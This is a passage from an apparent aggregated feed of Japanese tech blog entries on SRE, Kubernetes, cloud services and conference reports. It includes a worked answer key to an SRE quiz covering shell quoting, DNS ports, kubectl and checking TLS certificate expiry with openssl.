じていました。どうにか停滞感を解消するために副業として他社のお仕事を請け負ったりしていましたが、どうにも解消ができずにいました。そんな折に現職のSREチームの話をいただきました。実際に面談、面接を受けて、課題や環境の話を聞くにつれて、ここでなら一歩進めるのではないかという感触を得ました。もちろん焦燥感、停滞感はあれど、居心地が良いと感じてた今までの環境を変えることにはかなりの葛藤がありました。いろんな決め手はあったのですが、新しい場所の方が一番の下手*1でいれそう、なにより事業的にも業務的にも仲間的にもワクワクできそうというあたりが決定打になりました。入社して2週間しかも、初日以外ずっと在宅勤務なのでまだ様子が摑めてないですが、早くキャッチアップしてバリバリ成果を出していきたい所存です。これからもよろしくお願いします。例のもの置いておきます。気が向いたらでよいです。https://www.amazon.jp/hz/wishlist/ls/3S4C1LCDWKCTM?ref_=wl_share*1:情熱プログラマ参照","link":"https://blog.masasuzu.net/entry/2020/04/12/134300","isoDate":"2020-04-12T04:43:00.000Z","dateMiliSeconds":1586666580000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"IAPに対応しているGAEにアクセスする","contentSnippet":"概要GCPにあるGAEに対してアクセスする場合、認証のためにIAPをつけることが多いハズその際にrequest clientに対して認証情報を付ける方法についてまとめるサービスアカウントを作るサービスアカウントは以下の通りに作成でき…","link":"https://qiita.com/SatohJohn/items/d21d8487f55ed911e687","isoDate":"2020-03-29T12:12:15.000Z","dateMiliSeconds":1585483935000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Vuetify.jsのリンクの違いについて","contentSnippet":"概要vuetifyのbuttonやlist-itemなどに対してnuxt linkをつける際にリンクの付け方は2つあるhreftoどう使い分けるかというと、 https://qiita.co…","link":"https://qiita.com/SatohJohn/items/881d9a6fceceda1c1ce7","isoDate":"2020-03-22T11:06:18.000Z","dateMiliSeconds":1584875178000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Merpay SRE Quiz @SRE Next 2020 解答・解説","contentSnippet":"これは何？2020年1月25日に行われた SRE NEXT 2020 で，メルペイさんがブースで出していた SRE に関するクイズです。正答数で景品がもらえたようです。3問以上：メルペイキーキャップ4問以上：メルペイキーキャップ＋メルペイ SRE が推薦する本今日は SRE NEXT に来ています！ブース出してます！メルペイSREが考えたクイズに挑戦してみてください！#srenext pic.twitter.com/sQmndWucrP— Mercari_Dev (@mercaridevjp) January 25, 2020 メルペイ SRE が推薦する本って？ツイートのスレッドをたどっていくと，ラインナップは以下のようでした。『入門 監視』『詳解 シェルスクリプト』『Kubernetes 完全ガイド』『Programming Kubernetes』『パケットキャプチャの教科書』『プロダクションレディ マイクロサービス』『Linux カーネル Hacks』『エンジニアリング組織論への招待』『エンジニアのためのマネジメントキャリアパス』名著ばかりですね。第1問 SLO とはなんの略でしょうか？選択肢Service Level Observability (サービスレベル可観測性)Service Level Objective (サービスレベル目標)System Level Observability (システムレベル可観測性)System Level Objective (システムレベル目標)正解Service Level Objective (サービスレベル目標)解説SRE 本の Chapter 4 - Service Level Objectives に書かれている定義は以下のとおりです。An SLO is a service level objective: a target value or range of values for a service level that is measured by an SLI.SLI（サービスレベル指標）の目標値または値の範囲を SLO（サービスレベル目標）といいます。第2問 ユーザーが所属しているユーザーグループを知るためのコマンドはどれか？選択肢idwhoamiwholsgroup正解id解説明示されていないですが，UNIX 系 OS のコマンドを前提としていますね。id：ユーザー情報を表示するコマンドで，ユーザー情報（ID，名前）とグループ情報（ID，名前）が表示されます。実行例：foobar@darkstar:~$ iduid=1016(foobar) gid=100(users) groups=100(users)whoami：実行ユーザーの ID を表示するコマンドです。id -un と等価です。who：実行ユーザーの情報（名前，プロセス，起動時刻など）を表示するコマンドです。lsgroup：グループの属性を表示する AIX（IBM の UNIX 系 OS）のコマンドです。デフォルトパラメータがないので，グループを指定するか ALL を指定する必要があります。これらのうち，ユーザーの所属グループが表示されるのは id コマンドです。第3問 $ bash -c \\"echo 3 2 1 | awk \'{print $1}\'\\" の出力結果はどれか？選択肢33 2 1error1正解3 2 1解説bash -c string：string が bash で実行されます。echo message：message と改行を出力します。パイプ |：コマンドの出力を次のコマンドの標準入力に渡します。ここでは，3 2 1\\\\n を awk コマンドの標準入力に渡します。awk \'パターン {アクション}\'：AWK のコマンドで，入力に対してパターンにマッチしたものにアクションを適用します。パターンを省略（空パターン）すると，全パターンにマッチする扱いになります。$ bash -c \\"... $1 ...\\"：\\"\\" で囲まれた$ は展開されます。1 という変数名は定義されていないので，$1 が展開されると空文字になります。AWK に伝わるスクリプトは \'{print }\' になり，全パターンに対してそのまま出力する挙動になります。したがって，$ bash -c \\"echo 3 2 1 | awk \'{print $1}\'\\"3 2 1となります。ちなみに，1番目のフィールドを表示させたい場合は，$ が展開されないように \\\\$ とエスケープします。$ bash -c \\"echo 3 2 1 | awk \'{print \\\\$1}\'\\"3bash -c \\"...\\" を噛まさなければ，シングルクォート \'\' で囲まれた $ が展開されず，意図通りの挙動になります。$ echo 3 2 1 | awk \'{print $1}\'3エスケープ・展開絡みの落とし穴を題材にした問題ですね。調べてみたら複数事例見つかり，ハマりポイントのようです。stackoverflow.comteratail.com第4問 DNS が使用するポート番号は何番ですか？選択肢225380443正解53解説すべて well-known ポート番号です。22：SSH53：DNS80：HTTP443：HTTPS第5問 Kubernetes の Deployment の Event を見られるコマンドは，以下のうちどれか？選択肢kubectl describe kubectl logs -l kubectl get deployment -o yamlkubectl logs 正解kubectl describe 解説kubectl describe：リソースの詳細な情報を出力します。Events: セクションにイベント情報が表示されます。kubectl get events コマンドで全リソースのイベントを表示することができます。kubectl logs：コンテナのログを出力します。--selector (-l) オプションで結果にフィルタをかけることができます。kubectl get：リソースの基本的な情報を取得します。kubectl get deployment -o yaml とすると，Deployment の定義を YAML 形式で出力します。kubectl describe コマンドの引数で Deployment の名称を指定すると，その Deployment に関連したイベントを取得できるので，kubectl describe が正解です。第6問 Web サイトに設定している TLS 証明書の有効期限を確認できるコマンドは以下のうちどれか？選択肢openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text | grep Aftercurl --tlsv1.2 -l https://www.merpay.com | grep Expirewget --no-check-certificate https://www.merpay.com | grep Certnmap --script ssl-enum-ciphers -p 443 www.merpay.com | grep Date正解openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text | grep After解説openssl s_client -connect www.merpay.com:443 | openssl x509 -noout -text：OpenSSL の SSL/TLS クライアントで指定されたホストに接続して証明書を取得し，x509 サブコマンドで証明書情報を取り出します。Not After : で始まる行に有効期限が書かれるので，grep で取り出せます。-text オプションの代わりに -dates オプションを指定すると，証明書の開始日と失効日だけが出力されます。curl --tlsv1.2 -l https://www.merpay.com：Response Body（ここでは HTML）が出力されます。TLS 証明書の情報は含まれません。wget --no-check-certificate https://www.merpay.com：指定した URL の内容を証明書の検証をせずにダウンロードしてファイル（ここでは index.html）に保存します。標準出力にはリクエストの実行ログが吐かれますが，TLS 証明書の情報は含まれません。nmap --script ssl-enum-ciphers -p 443 www.merpay.com：Nmap を用い，指定されたホストに対して SSL/TLS の暗号・圧縮方式を複数試行した結果を出力します。証明書の有効期限の情報は含まれません。実行例：PORT STATE SERVICE REASON443/tcp open https syn-ack| ssl-enum-ciphers:| TLSv1.0:| ciphers:| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C| TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C| compressors:| NULL| cipher preference: server| warnings:| 64-bit block cipher 3DES vulnerable to SWEET32 attack| Broken cipher RC4 is deprecated by RFC 7465| Ciphersuite uses MD5 for message integrity| Weak certificate signature: SHA1| TLSv1.2:| ciphers:| TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A| TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A| TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A| TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A| TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A| TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A| TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (secp256r1) - C| TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C| TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_ECDHE_RSA_WITH_RC4_128_SHA (secp256r1) - C| TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C| TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C| compressors:| NULL| cipher preference: server| warnings:| 64-bit block cipher 3DES vulnerable to SWEET32 attack| Broken cipher RC4 is deprecated by RFC 7465| Ciphersuite uses MD5 for message integrity|_ least strength: CcURL，Nmap で実現する例は以下のとおりです。curl --tlsv1.2 -v https://www.merpay.com 2>&1 | grep expirenmap --script ssl-cert -p 443 www.merpay.com | grep afterserverfault.com感想骨のある問題が多いです。1，4を確実に正解して，その他をどれだけ正解できるかといった感じでしょうか。知らなければ調べればいい話ですが，業務でよく使うコマンドなら覚えておいて手足のように使いこなせるほうが望ましいでしょう。","link":"https://toshikish.hateblo.jp/entry/2020/02/11/024400","isoDate":"2020-02-10T17:44:00.000Z","dateMiliSeconds":1581356640000,"authorName":"toshikish","authorId":"toshikish"},{"title":"2019年のふりかえり、2020年の目標","contentSnippet":"すでに年が明けて1ヶ月経ちましたが、2019年の活動を振り返ろうと思います。Kubernetes、Cloud Native技術を中心に学習を進めました。勉強会、カンファレンス1月Cloud Native Meetup Tokyo #6 KubeCon + CNCon RecapKubernetes Meetup Tokyo #15 - KubeCon 2018 RecapRancher/Kubernetes勉強会　Kubernetes管理ツールの活用法OWASP Connect in Tokyo #2今回は特別編！Cloud Nativeなアプリ開発から学んだことを全部シェア - cndjp#92月Yahoo! JAPAN MEETUP #31 インフラ技術カンファレンスGo 1.12 Release Party in Tokyo w/ Fukuoka&Umedassmjp 2019/02Docker Meetup Tokyo #28第三回ボトムアップドメイン駆動設計サイバーセキュリティシンポジウム3月k8s source code reading #3Cloud Native Meetup Tokyo #7 @Abema Towers4月Cloud Native Tokyo #01Serverlessについて思いを馳せる一夜 - cndjp第11回勉強会ssmjp 2019/04Rancher k3s もくもく勉強会 #035月レガシーをぶっつぶせ。現場でDDD！ssmjp 2019/05IIJ Technical NIGHT vol.7SRE Lounge #9Docker Meetup Tokyo #30 (DockerCon・KubeConEU報告会)Yahoo! JAPAN MEETUP #32 インフラ技術／Kubernetes6月NoOps Meetup Tokyo #6Kubernetes Meetup Tokyo #20 - KubeCon RecapGCPUG Tokyo Next Extended 2019 Infra DayInteract 20197月恐るることなかれ! Cloud NativeリレーショナルDB特集!! - cndjp第12回第三十五回 Azureもくもく会 @ 品川CloudNative Days Tokyo Meetup w/ Melanie CebulaKubernetes Meetup Tokyo #21 - Cloud Native CI/CDSekkeiKaigiCloud Native Days Tokyo 2019 → スタッフとして参加8月SRE Lounge #10CloudNative Days Tokyo 2019振り返りNightGo 1.13 Release Party in TokyoKubernetes Meetup Tokyo #229月Docker Meetup Tokyo #32Japan Azure User Group 9周年イベントXP祭り2019golang.tokyo #26Cloud Native Meetup Tokyo #10Kubernetes Meetup Tokyo #23 - Operator Deep Dive10月Terraform meetup tokyo#2Kubernetes Meetup Tokyo #24SRE Lounge #1111月さくらの夕べDocker/Kubernetesナイト #2Go Release 10 Year Anniversary Party in Tokyoゴリラ.vim #10 非公式VimConf後夜祭 girls.vimと合同開催技術書典8 はじめてのサークル参加meetupMicrosoft Open Tech Night #1 - インフラ編+Ignite速報俺たちの最適なCloud Nativeを求めて…。本気のこと始め！ - cndjp第13回12月Japan Rook Meetup #1Cloud Native Meetup Tokyo #11 KubeCon RecapGDG DevFest Tokyo 2019Microsoft Open Tech Night #3 - クラウドネイティブ編登壇資料speakerdeck.comspeakerdeck.comspeakerdeck.com書籍商業誌Kubernetes完全ガイドしくみがわかるKubernetesみんなのDocker/KubernetesKubernetes実践入門情報処理安全確保支援士 教科書みんなのGo言語インフラエンジニアの教科書Linuxのしくみ分散システムデザインパターン入門監視Linux教科書 LPICレベル1Docker実践ガイドKubernetes実践ガイド同人誌ふりかえり読本 場作り編ふりかえり読本 学び編ふりかえり読本 実践編理論と事例でわかる自己肯定感理論と事例でわかるモチベーション現場の「ズレ」を解消するコミュニケーションメソッド 第2版会話の引き出しを増やす 1on1カード と 使いこなしブックPrometheusでKubernetesを監視する本Kubernetes-Native Development & Deployment実践入門 Kubernetes カスタムコントローラへの道Knativeの歩き方資格情報処理安全確保支援士LPIC 101、102ツール・技術DockerKubernetesHelmPrometheusGrafanaLokiArgo CDConcourseTerraformTelepresencecert-managerWindowsコンテナMicrosoft AzureGo言語Vue.js社内での活動定期勉強会を主催ふりかえりを実施、ファシリテーター役Dockerワークショップを開催2020年の目標2020年もCloud Nativeを突き進む予定です。マストCKA、CKADを取得するコミュニティに貢献するOSSにコントリビュートするGo言語でのプログラミングに慣れる英語力を高めるできれば業務としてKubernetesを扱える環境に身を置く（遠回しな表現）技術書を書く","link":"https://kyohmizu.hatenablog.com/entry/2020/02/01/040351","isoDate":"2020-01-31T19:03:51.000Z","dateMiliSeconds":1580497431000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"テストで使いたくて，DinD (Docker in Docker) でk8sの環境を整えた","contentSnippet":"TL;DRこちらのDockerfileを見納めくださいkindとアプリケーションのコンテナを分けても良かったのですが，kubeconfigの受け渡しが面倒だったので妥協しましたhttps://…","link":"https://qiita.com/tozastation/items/eafde1a75c35bb9d1a68","isoDate":"2019-12-30T14:30:36.000Z","dateMiliSeconds":1577716236000,"authorName":"tozastation","authorId":"tozastation"},{"title":"0からはじめる Windows on Kubernetes","contentSnippet":"はじめにKubernetes の Windows 対応は v.1.14 でGAとなりました。本記事では、既存の Kubernetes クラスタに0から Windows ワーカーノードを追加する方…","link":"https://qiita.com/kyohmizu/items/dffdd49123b1e47c3ac4","isoDate":"2019-12-22T18:19:52.000Z","dateMiliSeconds":1577038792000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Knative Serving in Production","contentSnippet":"概要Knative Serving は、ステートレスなアプリケーションを対象に、HTTP リクエスト駆動で自動スケールする仕組みを提供します。Kubernetes (K8s) と Ingress (Isti…","link":"https://qiita.com/toVersus/items/1317a31fead9b836a68d","isoDate":"2019-12-18T22:00:21.000Z","dateMiliSeconds":1576706421000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"キャリアアップ支援制度を利用してArchitecting on AWSを受講しましたというアドベントカレンダー書いてました","contentSnippet":"tech.mobilefactory.jpだいぶ前に受けたArchitecting on AWSの聴講記録です。","link":"https://blog.masasuzu.net/entry/2019/12/15/004259","isoDate":"2019-12-14T15:42:59.000Z","dateMiliSeconds":1576338179000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"GDG DevFest Tokyo 2019に行ってきた","contentSnippet":"tokyo.gdgjapan.org珍しく、何も予定が入ってない土曜日だったので、行ってきました。最近GCPを触る機運が出てきたのでちょうどいいタイミングでした。以下メモGCP 101 | 坂田 純 | GDG DevFest Tokyo 2019主にCloudRunの話。HTTPをlistenするコンテナを起動するサービス。使った分だけ課金対象となる。リクエスト数次第で自動的にスケールする。とお手軽にできそうな印象。インターフェースがHTTPなので基本的にはパブリックでアクセス出来てしまうが、--no-allow-unauthticatedオプションをつけてデプロイするとで限られた人だけ実行できるようになります。これでバッチ的なことができそう?マイクロサービスの開発とテストファースト/テスト駆動開発 | 柴田 芳樹 | GDG DevFest Tokyo 2019ちょいちょいブログとかは見てましたが、話を聞くのは初めてでした。還暦を迎えてもコードをバリバリ書いてるのは素直に尊敬します。メルペイのマイクロサービスのテストにも興味深かったですが、組み込みでのテストの話も興味深く聴かせてもらいました。ツールや環境の充実度の差はあれど、組み込みでもウェブでもやるべきことは同じなのだなと思いました。CloudNative 時代における GKE/Kubernetes ではじめる開発 | 青山 真也 | GDG DevFest Tokyo 2019k8sの紹介的な話。k8s好きになりました。話がすごいうまくて、めんどくさそうだなあと思ってたkubernetesの印象が変わりました。その他:D社のブースを覗いたらMOVの構成図が展示されていて、IoT関連だけAWSを使っていてそれ以外はGCPを使ってるのが興味深かった。IoT関連のものも別で実装して、AWSからは引き上げるようなことを言ってて、なるほどなあとなりました。基本的にAWSで構成されたインフラばかり見てたのでなかなか新鮮でした。","link":"https://blog.masasuzu.net/entry/2019/12/14/000000","isoDate":"2019-12-13T15:00:00.000Z","dateMiliSeconds":1576249200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"【イベント参加レポート】Microsoft Ignite The Tour Tokyo","contentSnippet":"2019/12/5(木)、6(金)に開催された Microsoft の Tech イベントに参加しました。www.microsoft.com概要アメリカで行われた Ignite のセッションを再演登壇者は他人の資料で発表 (翻訳以上の改変はできないと聞きました)新情報の発表等はされず、通常セッションとハンズオンのみMicrosoft エキスパートとの交流の場外国人のスタッフを多数配置基本的には英語でやり取りするらしい (私は話しませんでした)感想外国人が多く、グローバルな印象を受けました。会場はいつものホテルでしたが、やはりセッションの入れ替え時は非常に混雑します。ブースのエリアはスペースを広くとってあり、割と閑散としていた気がします (セッション中は特に)。技術的には初級者向けの内容が多かったと思います。セッションよりは、どちらかといえばコミュニケーションを重視したイベントのようでした。MSの方やブースの担当者と話すことができ、有意義な時間を過ごせました。参加して得るものはありました。セッション参加セッションのまとめとメモ。THR30031 - Azure とコマンドライン－オプション、ヒント、テクニック難易度：初級メモエクスプローラーでcmdをパスに入力(powershell、wslも)Windows Console → Windows TerminalTerminalはStoreで入手可能Azure CLIやVSCode RemoteはサラッとAPPS30 - コンテナーを利用したアプリケーションの最新化資料：https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps30難易度：初級要点コンテナ、Dockerの基礎的な説明コンテナランタイムやマルチステージビルド等は、軽く話に出る程度コンテナに関しては特に知らない話はなかったACRやACIの概要、使い方の軽い説明サービス移行のデモではコンテナ化してApp Service、CosmosDB、SQL Databaseを使用メモデータセンターのアプリをクラウドにLift&Shift仮想マシンはいいけど無駄が多いコンテナを使ったモダナイゼーションアプリの境界を明確にする旧バージョンの残りファイルがなくなるオーバーヘッドなしでリソース分離繰り返し可能なビルド、環境構築コンテナを使う理由あらゆる環境で同じように動作するベロシティの向上コンテナの仕組み高度に構成されたプロセスcgroupsnamespaceベースイメージからの差分をgzip化したものコンテナランタイムの軽い説明Docker以外にも対応、containerd、runCDockerfileイメージのビルド方法を説明するテキストファイルバッチスクリプトみたいなものビルドリポジトリACRACIサーバーレスのコンテナ実行環境ハイパーバイザーレベルの分離デモサービス移行の話APPS40 - インフラストラクチャと Azure Kubernetes Service を統合する資料：https://github.com/microsoft/ignite-learning-paths-training-apps/tree/master/apps40難易度：中級要点AKSの作成手順の説明AKSとAzureの連携サービスについて知識を整理できたオートスケールの話は理解が浅かったので参考になったAKSを使う最大のメリットはAzureADとの連携ネットワークとセキュリティの話は非常に参考になったネットワークポリシーやAZメモ基本的な使い方ではなく、発展的な内容Tailwind Tradaersのデモ経営、ビジネス課題に対応復元力セキュリティ柔軟性スケールKubernetesを選択する理由抽象化のための標準化されたAPI自己修復スケーラビリティk8sアーキテクチャAKSはマスターノードが無料で提供されるネットワークに2種類指定できるデフォルトはkubenetAzure CNI 仮想ネットワークを使用。大規模ネットワークに対応。きちんと設計する必要があるACIを仮想ノードとして使用AZAKSの作成リソースグループ仮想ネットワークサブネットサービスプリンシパル(k8sから他のリソースを作成)クラスタ本番クラスタを作成するにはオプションを多数指定する必要がある作成時にしか設定できないオプションがあるインストール時にCNI、AZの設定をする仮想ノードの有効化ACIをAKSから使えるようにする必要があるRabbitMQ is 何？HPAメトリクスサーバーにPodから情報が送られる閾値を超えたらスケールクラスタオートスケーラーノードのスケール仮想ノードLinux、Windows、GPUに対応nodeselectorで指定仮想ノードによるスケールのデモネットワークとセキュリティACRでコンテナの脆弱性をチェックAKSを使う最大のメリットはAzureADとの連携！Azure Key VaultPod間の通信Pod IdentityNMI Server(Daemonset)MICAzure Identity BindingネットワークポリシーPod間トラフィックの保護Azure Network PolicyAzure CNIを使ったPodブリッジレベルCalico Network PolicyカーネルレベルAZベータ版データセンター障害の回復性ゾーンは3つまで使用可能ゾーンの数に合わせてレプリカ数を設定THR10007 - ITと技術者の将来について語り合うエモい話要点ディスカッション形式コミュニティ参加やアウトプットを重視しているどんどんチャレンジしてスキルをつけていくことが大事メモ今後あるいは10年後どうなる？これからチャレンジしたいことは？MRフリーランス自分の営業をこれからも続けていく自分が何が得意で、何が苦手かアピールブルーオーシャンを探したいコミュニティのエンパワーメント出てこない人にどうやって技術を好きになってもらうか社内コミュニティを作ってもらうお勧めしたいことは？技術を楽しんで、周りに広めていく仲間ができてコミュニティができる人を変えるのは難しい、好きなことを広めることならできる楽しんでる雰囲気を出していると向こうから来てくれる自分の強みを知って、それを発信していく業務で触ってなくてもコミュニティで発表いていたやりたいこと、好きなことを見つけて、人が見える場所に出していく外のコミュニティに参加してみる会社にいるだけではスキルはプロジェクト依存コミュニティの熱量がすごいアウトプットすると強い人がインプットをくれるとりあえず踏み出してみる楽しんだもの勝ちやりたいことを素直にやってみるUNC10013 - Vue.js 3 に向けた Vue.js 入門難易度：初級～中級要点Vue.js の設計思想、V3 でも使える構文、V3 の新機能コンポジッションAPI関数ベースで提供される APIコンポーネントのロジックが綺麗になるV2 でもお試しで使えるブース立ち寄ったブースの中で、興味を持った内容を紹介します。LenovoLenovo ThinkSystem SE350 | レノボジャパン軽量でコンパクトなエッジサーバーWifi、LTE、有線ネットワーク対応Intel製品概要: OpenVINO™ ツールキットエッジでのディープラーニング推論アプリケーション開発学習済みモデルを無料で利用可能インテルCPUに対応PivotalAzure Spring Cloud | Microsoft DocsSpring Boot アプリをクラウドで実行ベータ版のサービスAKS 上にデプロイされる水平スケールやメトリクス、ログの収集が可能AKS は隠蔽されているため、ユーザーからは見えない手軽に導入できるので POC にも適している","link":"https://kyohmizu.hatenablog.com/entry/2019/12/10/012041","isoDate":"2019-12-09T16:20:41.000Z","dateMiliSeconds":1575908441000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"Zero Scale Abstraction in Knative Serving - Part1","contentSnippet":"Serverless Days Tokyo 2019 の Zero Scale Abstraction in Knative Serving というセッションの内容を書き起こしたものです。スピーカー…","link":"https://qiita.com/toVersus/items/9fa635e9cf57643f8dd6","isoDate":"2019-10-23T13:20:58.000Z","dateMiliSeconds":1571836858000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"LPIC 102 チートシート","contentSnippet":"試験前の確認事項としてまとめた内容です。環境変数ロケールディレクトリ・ファイル文字コードIPアドレスのクラスプライベートアドレスポート変数envsetshellのオプションエ…","link":"https://qiita.com/kyohmizu/items/d5d6fedc527efa9f649c","isoDate":"2019-10-09T01:56:54.000Z","dateMiliSeconds":1570586214000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"LPIC 101チートシート","contentSnippet":"試験前の確認事項としてまとめた内容です。環境変数デバイスファイルファイルシステムディレクトリ・ファイルsystemdのユニットvi正規表現dpkg設定ファイル /etc/dpkg/…","link":"https://qiita.com/kyohmizu/items/923844999018fd456d44","isoDate":"2019-10-09T01:48:33.000Z","dateMiliSeconds":1570585713000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"builderscon2019はスタッフ参加でもめちゃくちゃ学びがあった","contentSnippet":"毎年参加しているbuilderscionなんですが、今年はボランティアスタッフとして参加してきたので、そのレポートを書いてみたいと思います。スタッフ参加の動機ボランティアスタッフ参加の動機なんですが、実は最近、自身のモチベーションの低下に危機感を覚えたからでした。builderscon tokyo 2019 当日ボランティアスタッフ募集を開始します！ https://t.co/bhE6XJ0GyL— Builderscon (@builderscon) June 26, 2019また、最近は社内でゲームコミュニティを運営していて、外部向けにイベントを開催することもあるので大きめのカンファレンスでノウハウを吸収できそうと思ったところもありました。スタッフからの学び初めて大きなカンファレンスのスタッフをやってみていろいろな気づきや学びがありました。顔合わせスタッフ申込後、本番1ヶ月前にスタッフミーティングと称した顔合わせの機会がありました。機材大きなカンファレンスでは配信機材どうやってるんだろう？という興味があったのですが、今回はセッション部屋担当になったということもありじっくり拝見させていただきました。機材の詳細についてはblog書こうかな〜と長谷川さんがおっしゃってたので楽しみにまっておくことにします。簡単に説明すると、画面の入力は2系統PCビデオカメラ音声入力はミキサー登壇者だけではなく司会や質問者の声も録画に入るようになっていたハードウェアエンコーダのキャプチャボードを挟んでOBSで画面を作ってPC(入力)、ビデオカメラ、セッションのタイトルを合成セッション時の画面以外にも幕間のCMやセッション前の画面などが事前に準備されている場面に応じて出力を切り替えるという仕組みが構築されていました。コミュニケーション技術カンファレンスはとにかく楽しいというのを知っているので、せっかくスタッフやってるんだし1人でも多くの来場者にも楽しんでもらえるよう積極的にやろう！という思いでやったのでいろんな方に声をかけられたような気がします。Tipsとか細かい話必須系アイテム(自分用にあるとよいグッズ)サコッシュや小さなバッグモバイルバッテリーカッターナイフ養生テープとペンペットボトルをぶら下げられるやつがあると便利なんだかんだで力仕事や運搬系作業が多いので軍手は必要スタッフルームに高そうなお弁当が置いてあったらそれはスピーカーに用意されたものかもしれない(間違えて食べてしまった)余ってるからといってお弁当を食べすぎると後で痛い目をみるスタッフもエンジニアが多いからかすぐに作業を手順化、最適化をし始めるケチらずに宿泊したのは正解だった感想前夜祭から準備を初めて計3日。疲れはしましたがいちスタッフとして最高に楽しませてもらいました、ありがとうございました！ひとこと感想スタッフTシャツがおしゃれだったノベルティのストラップがおしゃのおしゃだった(常用してる)最後に私が関東に移り住んで初めて参加したカンファレンス、YAPC::Asia Tokyo 2014からちょうど5年。何らかの形でこれからも関わっていきたいと思っているのでまたどこかでお会いしましょう！最後につね様とのいつものツーショットでお別れしたいと思います。それではごきげんよう！いつものツーショット pic.twitter.com/hpCdaGDZGv— jigyakkuma (@jigyakkuma_) August 30, 2019(こちらはNature Inc. CTOのSongmuさんに撮っていただいた1枚)","link":"https://blog.jigyakkuma.org/2019/09/02/builderscon2019/","isoDate":"2019-09-02T00:18:22.000Z","dateMiliSeconds":1567383502000,"authorName":"Shinji Yamada","authorId":"jigyakkuma"},{"title":"de:code 2019 参加レポート","contentSnippet":"Microsoft主催のテクニカルカンファレンス「de:code 2019」に参加してきました。www.microsoft.com参加セッション1日目コンテナ技術を中心にセッションを選択【KN01】基調講演【CD06】しくみがわかる Azure Kubernetes Service (AKS) ～開発者目線で Kubernetes の基本を理解する～【CD01】Windows Containers と Azure による、既存 .NET アプリケーションのモダナイゼーション【CD91】HashiCorp Terraform Azure Provider チュートリアル【CD12】マネージド Kubernetes ガチ本番運用 in ZOZOTOWNwww.youtube.com2日目コンテナ・セキュリティのセッションを選択【SE07】脆弱性はなぜ生まれ、どのように攻撃されるのか? 安全なアプリを開発、運用するためのきほん【CD93】コンテナ環境の永続化ストレージ問題を NetApp Kubernetes Service と Azure NetApp Files でさらっと解決【CM12】.NET Core マルチ プラットフォームの本質【SE05】もうセキュリティはやりたくない!! 第 3 弾 ～Azure Sentinel Deep Dive～注目技術参加したセッションの中で、特に印象に残った or 関心のある技術を取り上げます。Azure Kubernetes Service(AKS)Azureのマネージド Kubernetes サービスである AKS ですが、導入事例が増えてきているそうです。ノロジーズをはじめ、いくつかの企業が自社の導入について講演していました。Kubernetes に概要や操作に関しては特筆することはありませんでしたが、Azure関連の技術として以下に興味を持ちました。Kubernetes-based Event-driven Autoscaling(KEDA)Microsoft と Red Hatが共同作成したプロジェクト。イベント駆動でコンテナのオートスケールを実現します。GitHub - kedacore/keda: KEDA is a Kubernetes-based Event Driven Autoscaling component. It provides event driven scale for any container running in KubernetesVirtual Kubeletkubelet のように動作し、Kubernetes と他のAPIを接続する役割を果たすもの。VM と同じように Kubernetes クラスタで一元管理できます。GitHub - virtual-kubelet/virtual-kubelet: Virtual Kubelet is an open source Kubernetes kubelet implementation.Windows コンテナサポートWindows Server Node が、Kubernetes クラスタで Linux Node と同時に管理できるようになりました。AKS では Multiple Node Pool を使用することで Windows Server Node を作成できます。チュートリアルを試しましたが、なぜかクラスタ作成に失敗)Windows containers now supported in Kubernetes - Open Source blogAzure NetApp FilesNetApp 社の高速ストレージサービス。SSD 並みの速度が出るそうで、Kubernetes の永続化ボリュームとして有用だと思います。また NetApp Kubernetes Service という Kubernetes 